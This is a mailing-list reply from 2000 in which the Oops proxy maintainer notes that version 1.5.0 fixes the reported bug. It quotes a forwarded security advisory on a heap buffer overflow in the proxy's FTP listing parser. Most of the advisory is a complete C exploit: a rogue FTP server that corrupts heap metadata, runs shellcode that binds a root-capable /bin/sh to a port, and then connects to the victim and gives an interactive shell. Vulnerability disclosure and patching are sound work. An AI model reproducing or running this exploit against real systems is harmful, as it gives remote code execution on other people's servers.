On Tue, 12 Dec 2000, Philipp Buehler wrote:
> Just in case ..
THank you. This is fixed in 1.5.0 which should be downloaded and installed.
>
> ----- Forwarded message from [EMAIL PROTECTED] -----
>
> > Date: Mon, 11 Dec 2000 18:55:29 +0100
> > From: [EMAIL PROTECTED]
> > Subject: [pkc] remote heap buffer overflow in oops
> > To: [EMAIL PROTECTED]
> >
> > pkc001.txt
> >
> > --- Packet Knights Advisory 001 ---
> >
> > http://www.pkcrew.org
> >
> > Author : |CyRaX| <[EMAIL PROTECTED]>
> >
> > Application : Oops proxy server 1.4.22 1.4.6 and maybe prior
> >
> > Type: heap buffer overflow
> >
> > --- The problem ---
> >
> > Function list_parser in ftp_utils.c :
> >
> > line is the line sent by the ftp server in result of a list command
> >
> > tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
> > p is the line without the filename
> >
> > htmlized_something = html_escaping(p);
> >
> > and this is the vulnerable sprintf
> >
> > sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
> > icons_host[0]?icons_host:myhostname,
> > icons_port[0]?icons_port:"80",
> > icons_path[0]?icons_path:"icons",
> > icons[type],
> > alts[type],
> > htmlized_something);
> >
> > well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth
> > that the htmlizing of the line can give just a string 3 times bigger than
> > the line. But if you look at html_escaping code you see that he translates
> > " into " . So putting a large amount of " in the line we can overflow
> > tempbuf.
> >
> > --- The Solution ---
> >
> > Well.. a quick fix could be just changing the alloc line into:
> >
> > tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];
> >
> > but you can save more memory allocating tempbuf after the html_escaping.
> > Anyway.. the authors were contacted and they're fixing it in a better way.
> >
> > --- How to exploit this ---
> >
> > As demostrated by the traceroute and slocate exploits, it's possibile to
> > overwrite a function pointer modifing a malloc chunk.
> > And in this case, after the tempbuf buffer, there is the chunk of
> > htmlized_something. So the exploit have to overwrite it, set the the size to
> > 0xffffffff to make it a free chunk, put the address of the shellcode into fd
> > and the address of the target function pointer into bd (-8), and when the
> > free() will call the unlink it will put the shellcode address into
> > __free_hook. The problem of the exploit is that we must compute exactly the
> > length of tempbuf and hope that malloc will not give it a bigger length,
> > overwrite perfectly the chunk, know exactly the address of __free_hook and the
> > address of the shellcode.
> > As you can see the bigger problem is the shellcode. We can't simply put a
> > (not too) large amount of nop, cause the unlink will fill the zone near the
> > one pointed by __free_hook with the address of it.. (so.. some illegal
> > instrunctions) and the shellcode have to jump them. If instead you point to a
> > nop the other nops after that will be overwritten by the unlink() and will
> > result in SIGILL.
> > So.. this is very hard to exploit.. anyway it's possible..
> > I include an example exploit that worked on my slackware 7.0
> >
> > --- PKCoops-ex.c ---
> >
> > /* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
> > * Coded by |CyRaX| <[EMAIL PROTECTED]>
> > * Packet Knights Crew : www.pkcrew.org
> > * Tested on Slackware 7.0
> > *
> > * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
> > * LordFelix & bikappa : for some hints about heap overflow
> > * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
> > */
> >
> >
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <netinet/in.h>
> > #include <sys/types.h>
> >
> > #define ALIGN 0
> > #define __FREE_HOOK 0x40175994
> > #define SHELLCODE 0x80b1223
> >
> >
> > char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
> > "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
> > "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
> > "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
> > "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
> > "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
> > "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
> > "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
> >
> >
> > int main(int argc,char **argv){
> > int s,s2,clnsock,i;
> > struct sockaddr_in srv,clt;
> > char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
> > unsigned long ip;
> > int h1,h2,h3,h4,p1,p2;
> > u_short port;
> > int passive=0,tmplen,wrtlen;
> > struct malloc_chunk{
> > unsigned int ps;
> > unsigned int sz;
> > struct malloc_chunk *fd;
> > struct malloc_chunk *bd;
> > }mc;
> > fd_set setz;
> >
> > mc.ps=0xffffffff & ~1;
> > mc.sz=0xffffffff;
> > mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
> > mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
> > memset(magic2,0x41,0);
> > memcpy(magic2+0,&mc,sizeof(mc));
> >
> > memset(magic3,'\x90',50);
> > memcpy(magic3+50,c0de,strlen(c0de));
> > magic3[50+strlen(c0de)]=0;
> >
> > if(argc<4){
> > printf("Proof exploit against oops proxy server heap buffer overflow!\n");
> > printf("by |CyRaX| <[EMAIL PROTECTED]>\n");
> > printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
> > printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
> > printf("your ip: it is necessary for the passive mode\n");
> > printf("hostname len is the len of the host that he *thinks* to have\n");
> > printf(" for example if the hostname is c500 you must put 4 here\n");
> >
> > exit(0);
> > }
> > printf("now set the victim as your proxy in any web browser and go to\n");
> > printf("ftp://<your_ip>\n");
> >
> > for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';
> >
> >
> > s=socket(AF_INET,SOCK_STREAM,0);
> > srv.sin_addr.s_addr=INADDR_ANY;
> > srv.sin_port=htons(21);
> > srv.sin_family=AF_INET;
> > if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
> > printf("cannot bind to port 21 !\n");
> > exit(0);
> > }
> > listen(s,1);
> > clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
> > close(s);
> > strcpy(buff,"220 exploit is here :)\r\n");
> > send(clnsock,buff,strlen(buff),0);
> > recv(clnsock,buff,500,0);
> > strcpy(buff,"331 any pass is good d00d\r\n");
> > send(clnsock,buff,strlen(buff),0);
> > recv(clnsock,buff,500,0);
> > strcpy(buff,"230 oky d00d.. login done!\r\n");
> > send(clnsock,buff,strlen(buff),0);
> > while(1){
> > memset(buff,0,500);
> > if(recv(clnsock,buff,500,0)<0)break;
> > if(strstr(buff,"SYST")){
> > strcpy(sndbuff,"215 UNIX Type: L8\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > }
> > if(strstr(buff,"PASV")){
> > srv.sin_port=htons(1322);
> > if(passive==0){
> > s=socket(AF_INET,SOCK_STREAM,0);
> > if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
> > printf("cannot bind to port 1322 for passive mode!\n");
> > exit(0);
> > }
> > listen(s,4);
> > passive=1;
> > }
> > else {
> > close(s2);
> > }
> > sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > }
> > if(strstr(buff,"TYPE")){
> > strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > }
> > if(strstr(buff,"NLST")){
> > if(passive){
> > s2=accept(s,NULL,NULL);
> > strcpy(sndbuff,"150 Opening ASCII mode data connection for file
>list.\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > sprintf(sndbuff,"%s\r\n",magic3);
> > send(s2,sndbuff,strlen(sndbuff),0);
> > close(s2);
> > strcpy(sndbuff,"226 Transfer complete.!\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> >
> > }
> > }
> >
> > if(strstr(buff,"LIST")){
> > strcpy(sndbuff,"150 vieni pure amore!\r\n");
> > s2=accept(s,NULL,NULL);
> >
> > /* HOW MANY BYTES TO WRITE COMPUTING */
> > tmplen=0;
> > tmplen=strlen("Arwxrwxrwx rooOOOt \r\n ")*3+strlen(magic2)*3+
> > strlen(magic3)*3;
> > tmplen=tmplen+128; /* dovesok */
> > tmplen=tmplen+atoi(argv[3]);
> > tmplen+=10;
> > wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
> > "alt=\"[Unkn] \" ")+atoi(argv[3]);
> > wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt \r\n")+strlen(magic2);
> > i=0;
> >
> > while((wrtlen-tmplen)<16){
> > magic[i]='"';
> > tmplen+=3; /* 1 *3 */
> > wrtlen+=6; /* " */
> > i++;
> > }
> > magic[i]=0;
> > printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
> >
> >
> > memset(sndbuff,0,1500);
> > snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
> > magic,
> > magic2,
> > magic3);
> >
> > send(s2,sndbuff,3000,0);
> > strcpy(sndbuff,"226 Ho finito\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > shutdown(s2,2);
> > printf("closed!\n");
> > sleep(5);
> > s2=socket(AF_INET,SOCK_STREAM,0);
> > clt.sin_addr.s_addr=inet_addr(argv[2]);
> > clt.sin_port=htons(3879);
> > clt.sin_family=AF_INET;
> > if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
> > printf("SORRY.. it didn't work!\n");
> > exit(0);
> > }
> > strcpy(sndbuff,"uname -a;id\n");
> > send(s2,sndbuff,strlen(sndbuff),0);
> > while(1){
> > FD_ZERO(&setz);
> > FD_SET(0,&setz);
> > FD_SET(s2,&setz);
> > select(s2+1,&setz,NULL,NULL,NULL);
> > if(FD_ISSET(0,&setz)){
> > memset(sndbuff,0,sizeof(sndbuff));
> > fgets(sndbuff,sizeof(sndbuff),stdin);
> > send(s2,sndbuff,strlen(sndbuff),0);
> > }
> > if(FD_ISSET(s2,&setz)){
> > memset(sndbuff,0,sizeof(sndbuff));
> > recv(s2,sndbuff,sizeof(sndbuff),0);
> > printf("%s",sndbuff);
> > }
> > }
> > }
> > if(strstr(buff,"CWD")){
> > strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > }
> > if(strstr(buff,"PWD")){
> > strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
> > send(clnsock,sndbuff,strlen(sndbuff),0);
> > }
> > if(strstr(buff,"QUIT")){
> > close(clnsock);
> > }
> > }
> > close(clnsock);
> > close(s);
> > close(s2);
> > }
> >
> >
> > -- EOF --
> >
> > |CyRaX|
> > Member Of Packet Knights Crew
> > www.pkcrew.org
> >
>
> ----- End forwarded message -----
> --
> Philipp Buehler, aka fIpS | sysfive.com GmbH | BOfH | NUCH | <double-p>
> %SYSTEM-F-TOOEARLY, please contact your sysadmin at a sensible time.
> Artificial Intelligence stands no chance against Natural Stupidity.
> [X] <-- nail here for new monitor
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> Archive is accessible on http://www.paco.net/oops/
>
Igor Khasilev |
PACO Links, igor at paco dot net |
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